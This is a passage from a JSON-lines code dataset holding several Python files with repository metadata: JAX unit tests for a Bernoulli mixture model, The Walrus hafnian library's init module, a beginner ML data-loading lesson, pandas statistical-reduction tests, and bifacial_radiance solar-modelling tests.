"2021-06-21T12:06:49.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-21T12:06:49.000Z", "avg_line_length": 23.1923076923, "max_line_length": 56, "alphanum_fraction": 0.6069651741, "include": true, "reason": "import numpy", "num_tokens": 178, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10521053810590075, "lm_q1q2_score": 0.05055142026583215}}
{"text": "import unittest\n\nfrom jax import numpy as jnp\nfrom jax import random as rand\n\nfrom cv.unsupervised import BMM\n\n\nclass BMMTests(unittest.TestCase):\n\n    def test_k_should_be_greater_0(self):\n        with self.assertRaises(AssertionError):\n            BMM(-1)\n        with self.assertRaises(AssertionError):\n            BMM(0)\n\n    def test_random_state_should_be_non_negative(self):\n        with self.assertRaises(AssertionError):\n            BMM(1, random_state=-1)\n\n    def test_n_iteration_should_be_greater_0(self):\n        with self.assertRaises(AssertionError):\n            BMM(1, n_iter=0)\n        with self.assertRaises(AssertionError):\n            BMM(1, n_iter=-1)\n\n    def test_eps_should_be_greater_0(self):\n        with self.assertRaises(AssertionError):\n            BMM(1, eps=-0.1)\n\n    def test_eps_should_be_less_1(self):\n        with self.assertRaises(AssertionError):\n            BMM(1, eps=1.1)\n\n    def test_E_step(self):\n        X = jnp.array([[1], [0], [1]])\n        dist_params = jnp.array([[0.7], [0.2]])\n        p_mixture = jnp.array([0.66, 1-0.66])\n\n        bmm = BMM(2)        \n        p_clusters = bmm._E_step(dist_params, p_mixture, X) # protected method, but this is Python:)))\n\n        t1 = 0.66 * 0.7\n        t2 = 0.66 * 0.3\n        t3 = (1-0.66) * 0.2\n        t4 = (1-0.66) * 0.8\n        p_clusters_expected = jnp.array([[t1 / (t1 + t3), t2 / (t2 + t4), t1 / (t1 + t3)],\n                                         [t3 / (t1 + t3), t4 / (t2 + t4), t3 / (t1 + t3)]])\n\n        self.assertTrue(jnp.allclose(p_clusters_expected, p_clusters))\n\n    def test_E_step_eps_cliping(self):\n        X = jnp.array([[1], [0], [1]])        \n        dist_params = jnp.array([[0.96], [0.01]]) # dist params should be cliping to [0.8, 0.2]\n        p_mixture = jnp.array([0.66, 1-0.66])\n\n        bmm = BMM(2, eps=0.2)\n        p_clusters = bmm._E_step(dist_params, p_mixture, X)\n\n        t1 = 0.66 * 0.8\n        t2 = 0.66 * 0.2\n        t3 = (1-0.66) * 0.2\n        t4 = (1-0.66) * 0.8\n        p_clusters_expected = jnp.array([[t1 / (t1 + t3), t2 / (t2 + t4), t1 / (t1 + t3)],\n                                         [t3 / (t1 + t3), t4 / (t2 + t4), t3 / (t1 + t3)]])\n\n        self.assertTrue(jnp.allclose(p_clusters_expected, p_clusters))\n\n    def test_M_step(self):\n        X = jnp.array([[1], [0], [0]])\n        p_clusters = jnp.array([[0.1, 0.5, 0.6],\n                                [0.9, 0.5, 0.4]])\n\n        bmm = BMM(2)\n        dist_params, p_mixture = bmm._M_step(p_clusters, X)\n\n        p_mixture_expected = jnp.array([0.4, 0.6])\n        dist_params_expected = jnp.array([[1/12], [0.5]])\n\n        self.assertTrue(jnp.allclose(p_mixture_expected, p_mixture))\n        self.assertTrue(jnp.allclose(dist_params_expected, dist_params))\n\n    def test_predict_dummy(self):\n        X = jnp.array([[1, 0],\n                       [0, 1]])\n\n        bmm = BMM(2)\n        X_pred = bmm.fit_predict(X)\n        cluster1 = X_pred[0]\n\n        pred = bmm.predict(jnp.array([[1, 0], [0, 1]]))\n        self.assertTrue(pred[0] == cluster1)\n        self.assertTrue(pred[1] != cluster1)\n", "meta": {"hexsha": "203e902b90234fde717af7c18d605c2c4cb87d56", "size": 3081, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/unsupervised/BernoulliMixtureModelTests.py", "max_stars_repo_name": "ShkalikovOleh/cv-labs", "max_stars_repo_head_hexsha": "dda27a4f19b7e86c774397d7cc8de39461f34ff1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/unsupervised/BernoulliMixtureModelTests.py", "max_issues_repo_name": "ShkalikovOleh/cv-labs", "max_issues_repo_head_hexsha": "dda27a4f19b7e86c774397d7cc8de39461f34ff1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-02-15T14:06:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-15T14:06:22.000Z", "max_forks_repo_path": "tests/unsupervised/BernoulliMixtureModelTests.py", "max_forks_repo_name": "ShkalikovOleh/cv-labs", "max_forks_repo_head_hexsha": "dda27a4f19b7e86c774397d7cc8de39461f34ff1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-11-04T16:30:57.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-04T16:30:57.000Z", "avg_line_length": 32.7765957447, "max_line_length": 102, "alphanum_fraction": 0.5436546576, "include": true, "reason": "import numpy,from jax", "num_tokens": 990, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10521053600167918, "lm_q1q2_score": 0.050551419254798544}}
{"text": "# Copyright 2019 Xanadu Quantum Technologies Inc.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nr\"\"\"\nPython library\n==============\n\n.. currentmodule:: thewalrus\n\nThis is the top level module of the The Walrus Python interface,\ncontaining functions for computing the hafnian, loop hafnian,\nand torontonian of matrices.\n\nAlgorithm terminology\n---------------------\n\nEigenvalue hafnian algorithm\n    The algorithm described in\n    *A faster hafnian formula for complex matrices and its benchmarking on a supercomputer*,\n    :cite:`bjorklund2018faster`.\n    This algorithm scales like :math:`\\mathcal{O}(n^3 2^{n/2})`, and supports calculation of\n    the loop hafnian.\n\nRecursive hafnian algorithm\n    The algorithm described in *Counting perfect matchings as fast as Ryser* :cite:`bjorklund2012counting`.\n    This algorithm scales like :math:`\\mathcal{O}(n^4 2^{n/2})`. This algorithm does not\n    currently support the loop hafnian.\n\nRepeating hafnian algorithm\n    The algorithm described in *From moments of sum to moments of product*, :cite:`kan2008moments`.\n    This method is more efficient for matrices with repeated rows and columns, and supports caclulation of\n    the loop hafnian.\n\nApproximate hafnian algorithm\n    The algorithm described in *Polynomial time algorithms to approximate permanents and mixed discriminants\n    within a simply exponential factor*, :cite:`barvinok1999polynomial`.\n    This algorithm allows us to efficiently approximate the hafnian of\n    matrices with non-negative elements. This is done by sampling determinants;\n    the larger the number of samples taken, the higher the accuracy.\n\nBatched hafnian algorithm\n    An algorithm that allows the calculation of hafnians of all reductions of\n    a given matrix up to the cutoff (resolution) provided. Internally, this algorithm\n    makes use of the multidimensional Hermite polynomials as per\n    *The calculation of multidimensional Hermite polynomials and Gram-Charlier coefficients*\n    :cite:`berkowitz1970calculation`.\n\nLow-rank hafnian algorithm\n    An algorithm that allows to calculate the hafnian of an :math:`r`-rank matrix :math:`\\bm{A}` of size :math:`n \\times n`\n    by factorizing it as :math:`\\bm{A} = \\bm{G} \\bm{G}^T` where :math:`\\bm{G}` is of size :math:`n \\times r`. The algorithm\n    is described in Appendix C of\n    *A faster hafnian formula for complex matrices and its benchmarking on a supercomputer*,\n    :cite:`bjorklund2018faster`.\n\n\nPython wrappers\n---------------\n\n.. autosummary::\n    hafnian\n    hafnian_repeated\n    hafnian_batched\n    tor\n    perm\n    permanent_repeated\n    hermite_multidimensional\n\nPure Python functions\n---------------------\n\n.. autosummary::\n    reduction\n    version\n    low_rank_hafnian\n\"\"\"\n# pylint: disable=wrong-import-position\nimport os\nimport platform\n\nimport numpy as np\n\nimport thewalrus.quantum\n\nfrom ._hafnian import (\n    haf_complex,\n    haf_int,\n    haf_real,\n    haf_rpt_complex,\n    haf_rpt_real,\n    hafnian,\n    hafnian_repeated,\n    reduction,\n)\nfrom ._low_rank_haf import low_rank_hafnian\nfrom ._hermite_multidimensional import hafnian_batched, hermite_multidimensional\nfrom ._permanent import perm, perm_complex, perm_real, permanent_repeated\nfrom ._torontonian import tor, threshold_detection_prob_displacement, threshold_detection_prob, numba_tor\nfrom ._version import __version__\n\n\n__all__ = [\n    \"hafnian\",\n    \"hafnian_repeated\",\n    \"hafnian_batched\",\n    \"tor\",\n    \"perm\",\n    \"permanent_repeated\",\n    \"reduction\",\n    \"hermite_multidimensional\",\n    \"version\",\n]\n\n\ndef version():\n    r\"\"\"\n    Get version number of The Walrus\n\n    Returns:\n      str: The package version number\n    \"\"\"\n    return __version__\n", "meta": {"hexsha": "b445f56f86badd2b9cb1b2251e3ac8594a12f805", "size": 4178, "ext": "py", "lang": "Python", "max_stars_repo_path": "thewalrus/__init__.py", "max_stars_repo_name": "jakeffbulmer/thewalrus", "max_stars_repo_head_hexsha": "c0da9359f6f118ebdde3cf08f899e7f4d21d9f0b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "thewalrus/__init__.py", "max_issues_repo_name": "jakeffbulmer/thewalrus", "max_issues_repo_head_hexsha": "c0da9359f6f118ebdde3cf08f899e7f4d21d9f0b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "thewalrus/__init__.py", "max_forks_repo_name": "jakeffbulmer/thewalrus", "max_forks_repo_head_hexsha": "c0da9359f6f118ebdde3cf08f899e7f4d21d9f0b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.6515151515, "max_line_length": 123, "alphanum_fraction": 0.7386309239, "include": true, "reason": "import numpy", "num_tokens": 1065, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.10521052968901465, "lm_q1q2_score": 0.05055141622169783}}
{"text": "#!/usr/bin/env python3\n\n###############################\n# Mastering ML Python Mini Course\n#\n# Inspired by the project here: \n#\n# https://s3.amazonaws.com/MLMastery/machine_learning_mastery_with_python_mini_course.pdf?__s=mxhvphowryg2sfmzus2q\n#\n# By Nathan Fritter\n#\n# Project will soon be found at: \n#\n# https://www.inertia7.com/projects/\n#\n# General style for python:\n#\n# snake_case for functions and variables, PascalCase for classes\n###############################\n\n# Welcome to my repo for the Mastering Machine Learning Python Mini Course\n# Here I will be going through each part of the course\n# So you can get a feel of the different parts\n\n\n# Import packages before anything else\nimport pandas as pd\nimport numpy as np\nfrom pandas import read_csv\nfrom numpy import loadtxt\nimport urllib\nimport csv\n\n# Define url and columns\n# Define url and columns\nurl = 'https://goo.gl/bDdBiA'\ncolumns = np.array(['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'])\n\n\n# Lesson 2: Loading in Data through different methods\n'''\nThis script will load in the data using three different methods:\n1. pandas.read_csv()\n2. numpy.loadtxt()\n\ta. Make sure to specify the delimiter, otherwise it throws an error\n3. csv.reader()\n\ta.Original method can only read physical csvs\n\tb. We need to include the urllib.request.urlopen() method for the url\n\tc. THEN, to properly load the data, we need to create a generator object using codecs\n\td. Then convert to a list, THEN to a DataFrame in pandas. Having fun yet?\n'''\n\n# Method 1\ntry:\n    method = \"pandas.read_csv()\"\n    print(\"\\nLoading in data via the %s method using a url\\n\" % method)\n    data = read_csv(url, names = columns)\n\n    print(\"Data read successfully using the %s method\" % method)\n\nexcept Exception as e:\n    print(\"Error message:\", e)\n\n# Method 2\ntry:\n    method = \"numpy.loadtxt()\"\n    print(\"\\nLoading in data via the %s method using a url\\n\" % method)\n    data = loadtxt(url, dtype = float)\n\n    print(\"Data read successfully using the %s method\" % method)\n\nexcept Exception as e:\n    print(\"Error message:\", e)\n\n# Method 3\ntry:\n    method = \"csv.reader()\"\n    print(\"\\nLoading in data via the %s method using a url\\n\" % method)\n    response = urllib.request.urlopen(url)\n    data = csv.reader(codecs.iterdecode(response, 'utf-8'))\n    data = pd.DataFrame(list(data), columns = columns)\n\n    print(\"Data read successfully using the %s method\" % method)", "meta": {"hexsha": "184a2f825ab71c071e18ac3607cac1936e304337", "size": 2418, "ext": "py", "lang": "Python", "max_stars_repo_path": "scripts/lessons/Lesson2.py", "max_stars_repo_name": "njfritter/ml-mastery", "max_stars_repo_head_hexsha": "d9fe3c0cfbbdf0ca039742f31537654c3b2d5a58", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2020-07-09T12:06:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-09T18:05:03.000Z", "max_issues_repo_path": "scripts/lessons/Lesson2.py", "max_issues_repo_name": "njfritter/ml-mastery", "max_issues_repo_head_hexsha": "d9fe3c0cfbbdf0ca039742f31537654c3b2d5a58", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 6, "max_issues_repo_issues_event_min_datetime": "2018-05-09T22:29:21.000Z", "max_issues_repo_issues_event_max_datetime": "2018-05-24T23:03:55.000Z", "max_forks_repo_path": "scripts/lessons/Lesson2.py", "max_forks_repo_name": "Njfritter/ml-mastery", "max_forks_repo_head_hexsha": "d9fe3c0cfbbdf0ca039742f31537654c3b2d5a58", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2018-08-27T04:43:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-05T14:09:25.000Z", "avg_line_length": 29.1325301205, "max_line_length": 114, "alphanum_fraction": 0.6964433416, "include": true, "reason": "import numpy,from numpy", "num_tokens": 607, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.11436853372838406, "lm_q1q2_score": 0.050513494045271494}}
{"text": "\"\"\"\nTests for statistical reductions of 2nd moment or higher: var, skew, kurt, ...\n\"\"\"\nimport inspect\n\nimport numpy as np\nimport pytest\n\nimport pandas.util._test_decorators as td\n\nimport pandas as pd\nfrom pandas import (\n    DataFrame,\n    Series,\n)\nimport pandas._testing as tm\nfrom pandas.core.arrays import (\n    DatetimeArray,\n    PeriodArray,\n    TimedeltaArray,\n)\n\n\nclass TestDatetimeLikeStatReductions:\n    @pytest.mark.parametrize(\"box\", [Series, pd.Index, DatetimeArray])\n    def test_dt64_mean(self, tz_naive_fixture, box):\n        tz = tz_naive_fixture\n\n        dti = pd.date_range(\"2001-01-01\", periods=11, tz=tz)\n        # shuffle so that we are not just working with monotone-increasing\n        dti = dti.take([4, 1, 3, 10, 9, 7, 8, 5, 0, 2, 6])\n        dtarr = dti._data\n\n        obj = box(dtarr)\n        assert obj.mean() == pd.Timestamp(\"2001-01-06\", tz=tz)\n        assert obj.mean(skipna=False) == pd.Timestamp(\"2001-01-06\", tz=tz)\n\n        # dtarr[-2] will be the first date 2001-01-1\n        dtarr[-2] = pd.NaT\n\n        obj = box(dtarr)\n        assert obj.mean() == pd.Timestamp(\"2001-01-06 07:12:00\", tz=tz)\n        assert obj.mean(skipna=False) is pd.NaT\n\n    @pytest.mark.parametrize(\"box\", [Series, pd.Index, PeriodArray])\n    @pytest.mark.parametrize(\"freq\", [\"S\", \"H\", \"D\", \"W\", \"B\"])\n    def test_period_mean(self, box, freq):\n        # GH#24757\n        dti = pd.date_range(\"2001-01-01\", periods=11)\n        # shuffle so that we are not just working with monotone-increasing\n        dti = dti.take([4, 1, 3, 10, 9, 7, 8, 5, 0, 2, 6])\n\n        parr = dti._data.to_period(freq)\n        obj = box(parr)\n        with pytest.raises(TypeError, match=\"ambiguous\"):\n            obj.mean()\n        with pytest.raises(TypeError, match=\"ambiguous\"):\n            obj.mean(skipna=True)\n\n        # parr[-2] will be the first date 2001-01-1\n        parr[-2] = pd.NaT\n\n        with pytest.raises(TypeError, match=\"ambiguous\"):\n            obj.mean()\n        with pytest.raises(TypeError, match=\"ambiguous\"):\n            obj.mean(skipna=True)\n\n    @pytest.mark.parametrize(\"box\", [Series, pd.Index, TimedeltaArray])\n    def test_td64_mean(self, box):\n        tdi = pd.TimedeltaIndex([0, 3, -2, -7, 1, 2, -1, 3, 5, -2, 4], unit=\"D\")\n\n        tdarr = tdi._data\n        obj = box(tdarr)\n\n        result = obj.mean()\n        expected = np.array(tdarr).mean()\n        assert result == expected\n\n        tdarr[0] = pd.NaT\n        assert obj.mean(skipna=False) is pd.NaT\n\n        result2 = obj.mean(skipna=True)\n        assert result2 == tdi[1:].mean()\n\n        # exact equality fails by 1 nanosecond\n        assert result2.round(\"us\") == (result * 11.0 / 10).round(\"us\")\n\n\nclass TestSeriesStatReductions:\n    # Note: the name TestSeriesStatReductions indicates these tests\n    #  were moved from a series-specific test file, _not_ that these tests are\n    #  intended long-term to be series-specific\n\n    def _check_stat_op(\n        self, name, alternate, string_series_, check_objects=False, check_allna=False\n    ):\n\n        with pd.option_context(\"use_bottleneck\", False):\n            f = getattr(Series, name)\n\n            # add some NaNs\n            string_series_[5:15] = np.NaN\n\n            # mean, idxmax, idxmin, min, and max are valid for dates\n            if name not in [\"max\", \"min\", \"mean\", \"median\", \"std\"]:\n                ds = Series(pd.date_range(\"1/1/2001\", periods=10))\n                msg = f\"does not support reduction '{name}'\"\n                with pytest.raises(TypeError, match=msg):\n                    f(ds)\n\n            # skipna or no\n            assert pd.notna(f(string_series_))\n            assert pd.isna(f(string_series_, skipna=False))\n\n            # check the result is correct\n            nona = string_series_.dropna()\n            tm.assert_almost_equal(f(nona), alternate(nona.values))\n            tm.assert_almost_equal(f(string_series_), alternate(nona.values))\n\n            allna = string_series_ * np.nan\n\n            if check_allna:\n                assert np.isnan(f(allna))\n\n            # dtype=object with None, it works!\n            s = Series([1, 2, 3, None, 5])\n            f(s)\n\n            # GH#2888\n            items = [0]\n            items.extend(range(2**40, 2**40 + 1000))\n            s = Series(items, dtype=\"int64\")\n            tm.assert_almost_equal(float(f(s)), float(alternate(s.values)))\n\n            # check date range\n            if check_objects:\n                s = Series(pd.bdate_range(\"1/1/2000\", periods=10))\n                res = f(s)\n                exp = alternate(s)\n                assert res == exp\n\n            # check on string data\n            if name not in [\"sum\", \"min\", \"max\"]:\n                with pytest.raises(TypeError, match=None):\n                    f(Series(list(\"abc\")))\n\n            # Invalid axis.\n            msg = \"No axis named 1 for object type Series\"\n            with pytest.raises(ValueError, match=msg):\n                f(string_series_, axis=1)\n\n            # Unimplemented numeric_only parameter.\n            if \"numeric_only\" in inspect.getfullargspec(f).args:\n                with pytest.raises(NotImplementedError, match=name):\n                    f(string_series_, numeric_only=True)\n\n    def test_sum(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        self._check_stat_op(\"sum\", np.sum, string_series, check_allna=False)\n\n    def test_mean(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        self._check_stat_op(\"mean\", np.mean, string_series)\n\n    def test_median(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        self._check_stat_op(\"median\", np.median, string_series)\n\n        # test with integers, test failure\n        int_ts = Series(np.ones(10, dtype=int), index=range(10))\n        tm.assert_almost_equal(np.median(int_ts), int_ts.median())\n\n    def test_prod(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        self._check_stat_op(\"prod\", np.prod, string_series)\n\n    def test_min(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        self._check_stat_op(\"min\", np.min, string_series, check_objects=True)\n\n    def test_max(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        self._check_stat_op(\"max\", np.max, string_series, check_objects=True)\n\n    def test_var_std(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        datetime_series = tm.makeTimeSeries().rename(\"ts\")\n\n        alt = lambda x: np.std(x, ddof=1)\n        self._check_stat_op(\"std\", alt, string_series)\n\n        alt = lambda x: np.var(x, ddof=1)\n        self._check_stat_op(\"var\", alt, string_series)\n\n        result = datetime_series.std(ddof=4)\n        expected = np.std(datetime_series.values, ddof=4)\n        tm.assert_almost_equal(result, expected)\n\n        result = datetime_series.var(ddof=4)\n        expected = np.var(datetime_series.values, ddof=4)\n        tm.assert_almost_equal(result, expected)\n\n        # 1 - element series with ddof=1\n        s = datetime_series.iloc[[0]]\n        result = s.var(ddof=1)\n        assert pd.isna(result)\n\n        result = s.std(ddof=1)\n        assert pd.isna(result)\n\n    def test_sem(self):\n        string_series = tm.makeStringSeries().rename(\"series\")\n        datetime_series = tm.makeTimeSeries().rename(\"ts\")\n\n        alt = lambda x: np.std(x, ddof=1) / np.sqrt(len(x))\n        self._check_stat_op(\"sem\", alt, string_series)\n\n        result = datetime_series.sem(ddof=4)\n        expected = np.std(datetime_series.values, ddof=4) / np.sqrt(\n            len(datetime_series.values)\n        )\n        tm.assert_almost_equal(result, expected)\n\n        # 1 - element series with ddof=1\n        s = datetime_series.iloc[[0]]\n        result = s.sem(ddof=1)\n        assert pd.isna(result)\n\n    @td.skip_if_no_scipy\n    def test_skew(self):\n        from scipy.stats import skew\n\n        string_series = tm.makeStringSeries().rename(\"series\")\n\n        alt = lambda x: skew(x, bias=False)\n        self._check_stat_op(\"skew\", alt, string_series)\n\n        # test corner cases, skew() returns NaN unless there's at least 3\n        # values\n        min_N = 3\n        for i in range(1, min_N + 1):\n            s = Series(np.ones(i))\n            df = DataFrame(np.ones((i, i)))\n            if i < min_N:\n                assert np.isnan(s.skew())\n                assert np.isnan(df.skew()).all()\n            else:\n                assert 0 == s.skew()\n                assert (df.skew() == 0).all()\n\n    @td.skip_if_no_scipy\n    def test_kurt(self):\n        from scipy.stats import kurtosis\n\n        string_series = tm.makeStringSeries().rename(\"series\")\n\n        alt = lambda x: kurtosis(x, bias=False)\n        self._check_stat_op(\"kurt\", alt, string_series)\n\n        index = pd.MultiIndex(\n            levels=[[\"bar\"], [\"one\", \"two\", \"three\"], [0, 1]],\n            codes=[[0, 0, 0, 0, 0, 0], [0, 1, 2, 0, 1, 2], [0, 1, 0, 1, 0, 1]],\n        )\n        s = Series(np.random.randn(6), index=index)\n        with tm.assert_produces_warning(FutureWarning):\n            tm.assert_almost_equal(s.kurt(), s.kurt(level=0)[\"bar\"])\n\n        # test corner cases, kurt() returns NaN unless there's at least 4\n        # values\n        min_N = 4\n        for i in range(1, min_N + 1):\n            s = Series(np.ones(i))\n            df = DataFrame(np.ones((i, i)))\n            if i < min_N:\n                assert np.isnan(s.kurt())\n                assert np.isnan(df.kurt()).all()\n            else:\n                assert 0 == s.kurt()\n                assert (df.kurt() == 0).all()\n", "meta": {"hexsha": "0a6c0ccc891bb8f92843ba933e599e69c7731e9f", "size": 9563, "ext": "py", "lang": "Python", "max_stars_repo_path": "crabageprediction/venv/Lib/site-packages/pandas/tests/reductions/test_stat_reductions.py", "max_stars_repo_name": "13rianlucero/CrabAgePrediction", "max_stars_repo_head_hexsha": "92bc7fbe1040f49e820473e33cc3902a5a7177c7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-11-23T05:35:28.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-10T08:05:53.000Z", "max_issues_repo_path": "crabageprediction/venv/Lib/site-packages/pandas/tests/reductions/test_stat_reductions.py", "max_issues_repo_name": "13rianlucero/CrabAgePrediction", "max_issues_repo_head_hexsha": "92bc7fbe1040f49e820473e33cc3902a5a7177c7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-03-18T01:26:58.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-18T01:26:58.000Z", "max_forks_repo_path": "crabageprediction/venv/Lib/site-packages/pandas/tests/reductions/test_stat_reductions.py", "max_forks_repo_name": "13rianlucero/CrabAgePrediction", "max_forks_repo_head_hexsha": "92bc7fbe1040f49e820473e33cc3902a5a7177c7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-11-23T05:36:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-23T05:39:33.000Z", "avg_line_length": 34.1535714286, "max_line_length": 85, "alphanum_fraction": 0.5802572415, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2474, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.11436852014455551, "lm_q1q2_score": 0.0505134880456611}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 27 10:08:25 2018\n\n@author: cdeline\n\nUsing pytest to create unit tests for bifacial_radiance.\n\nto run unit tests, run pytest from the command line in the bifacial_radiance directory\nto run coverage tests, run py.test --cov-report term-missing --cov=bifacial_radiance\n\n\"\"\"\n\n#from bifacial_radiance import RadianceObj, SceneObj, AnalysisObj\nimport bifacial_radiance\nimport numpy as np\nimport pytest\nimport os\n\n# try navigating to tests directory so tests run from here.\ntry:\n    os.chdir('tests')\nexcept:\n    pass\n\nTESTDIR = os.path.dirname(__file__)  # this folder\n\n# test the readepw on a dummy Boulder EPW file in the /tests/ directory\nMET_FILENAME =  'USA_CO_Boulder.724699_TMY2.epw'\n# also test a dummy TMY3 Denver file in /tests/\nMET_FILENAME2 = \"724666TYA.CSV\"\n\n#def test_quickExample():\n#    results = bifacial_radiance.main.quickExample(TESTDIR)\n#    assert np.mean(results.Wm2Back) == pytest.approx(195380.94444444444, rel = 0.03)  # was 182 in v0.2.2\n\ndef test_RadianceObj_set1axis():  \n    # test set1axis.  requires metdata for boulder. \n    name = \"_test_set1axis\"\n    demo = bifacial_radiance.RadianceObj(name)\n    try:\n        epwfile = demo.getEPW(lat=40.01667, lon=-105.25)  # From EPW: {N 40\u00b0  1'} {W 105\u00b0 15'}\n    except: # adding an except in case the internet connection in the lab forbids the epw donwload.\n        epwfile = MET_FILENAME\n    metdata = demo.readEPW(epwfile = epwfile)\n    trackerdict = demo.set1axis()\n    assert trackerdict[0]['count'] == 80 #this was 108 < v0.2.4 and 75 < 0.3.2\n    assert trackerdict[45]['count'] == 822 #this was 823 < 0.3.2\n   \ndef test_RadianceObj_fixed_tilt_end_to_end():\n    # just run the demo example.  Rear irradiance fraction roughly 11.8% for 0.95m landscape panel\n    # takes 12 seconds\n    name = \"_test_fixed_tilt_end_to_end\"\n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    demo.setGround(0.62) # input albedo number or material name like 'concrete'.  To see options, run this without any input.\n  \n    metdata = demo.readEPW(epwfile= MET_FILENAME) # read in the EPW weather data from above\n    #metdata = demo.readTMY() # select a TMY file using graphical picker\n    # Now we either choose a single time point, or use cumulativesky for the entire year. \n    fullYear = False\n    if fullYear:\n        demo.genCumSky(demo.epwfile) # entire year.\n    else:\n        demo.gendaylit(timeindex=4020, metdata=metdata)  # Noon, June 17th\n    # create a scene using panels in landscape at 10 deg tilt, 1.5m pitch. 0.2 m ground clearance\n    sceneDict = {'tilt':10,'pitch':1.5,'height':0.2, 'nMods':10, 'nRows':3}  \n    demo.makeModule(name='test',y=0.95,x=1.59, xgap=0)\n    scene = demo.makeScene('test',sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\n    octfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object files into a .oct file.\n    analysis = bifacial_radiance.AnalysisObj(octfile, demo.name)  # return an analysis object including the scan dimensions for back irradiance\n    (frontscan,backscan) = analysis.moduleAnalysis(scene)\n    analysis.analysis(octfile, demo.name, frontscan, backscan)  # compare the back vs front irradiance  \n    #assert np.round(np.mean(analysis.backRatio),decimals=2) == 0.12  # NOTE: this value is 0.11 when your module size is 1m, 0.12 when module size is 0.95m\n    assert np.mean(analysis.backRatio) == pytest.approx(0.12, abs = 0.01)\n    \ndef test_Radiance_high_azimuth_modelchains():\n    # duplicate next example using modelchain\n    # high azimuth .ini file\n\n    HIGH_AZIMUTH_INI = os.path.join(TESTDIR, \"ini_highAzimuth.ini\")\n\n    (Params)= bifacial_radiance.load.readconfigurationinputfile(inifile=HIGH_AZIMUTH_INI)\n    Params[0]['testfolder'] = TESTDIR\n    # unpack the Params tuple with *Params\n    demo2, analysis = bifacial_radiance.modelchain.runModelChain(*Params ) \n    #assert np.round(np.mean(analysis.backRatio),2) == 0.20  # bifi ratio was == 0.22 in v0.2.2\n    assert np.mean(analysis.Wm2Front) == pytest.approx(899, rel = 0.005)  # was 912 in v0.2.3\n    assert np.mean(analysis.Wm2Back) == pytest.approx(189, rel = 0.03)  # was 182 in v0.2.2\n    \n\"\"\"\ndef test_RadianceObj_high_azimuth_angle_end_to_end():\n    # modify example for high azimuth angle to test different parts of _makeSceneNxR.  Rear irradiance fraction roughly 17.3% for 0.95m landscape panel\n    # takes 14 seconds for sensorsy = 9, 11 seconds for sensorsy = 2\n    name = \"_test_high_azimuth_angle_end_to_end\"\n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    demo.setGround('white_EPDM') # input albedo number or material name like 'concrete'.  To see options, run this without any input.\n  \n    #metdata = demo.readEPW() # read in the EPW weather data from above\n    metdata = demo.readTMY(MET_FILENAME2) # select a TMY file using graphical picker\n    # Now we either choose a single time point, or use cumulativesky for the entire year. \n    fullYear = False\n    if fullYear:\n        